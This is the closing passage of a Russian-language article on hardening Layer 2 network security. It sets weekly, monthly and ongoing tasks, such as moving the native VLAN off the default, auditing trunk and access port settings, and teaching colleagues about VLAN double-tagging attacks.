- На этой неделе: Спланируй и проведи изменение native VLAN на неиспользуемый на одном тестовом линке. Проверь, не сломается ли что-то. Отработай процедуру.
- В этом месяце: Внеси проверку конфигурации trunk и access-портов на соответствие параноидальному чек-листу в свой регулярный аудит безопасности. Сделай это такой же рутиной, как проверка бэкапов.
- Всегда: Когда ты обучаешь коллегу, стажёра, говоришь на митапе - не повторяй заезженные мантры. Расскажи про двойное тегирование. Покажи, как хакерский взгляд на систему делает её прочнее. Выращивай вокруг себя культуру инженерной честности.
Ты теперь вооружён. Не просто информацией, а принципом.
Принципом смотреть под капот.
Принципом проверять самое очевидное.
Принципом не верить на слово - ни вендору, ни умолчаниям, ни самому себе.
Иди и наведи порядок в своём L2-царстве. А потом помоги это сделать другому.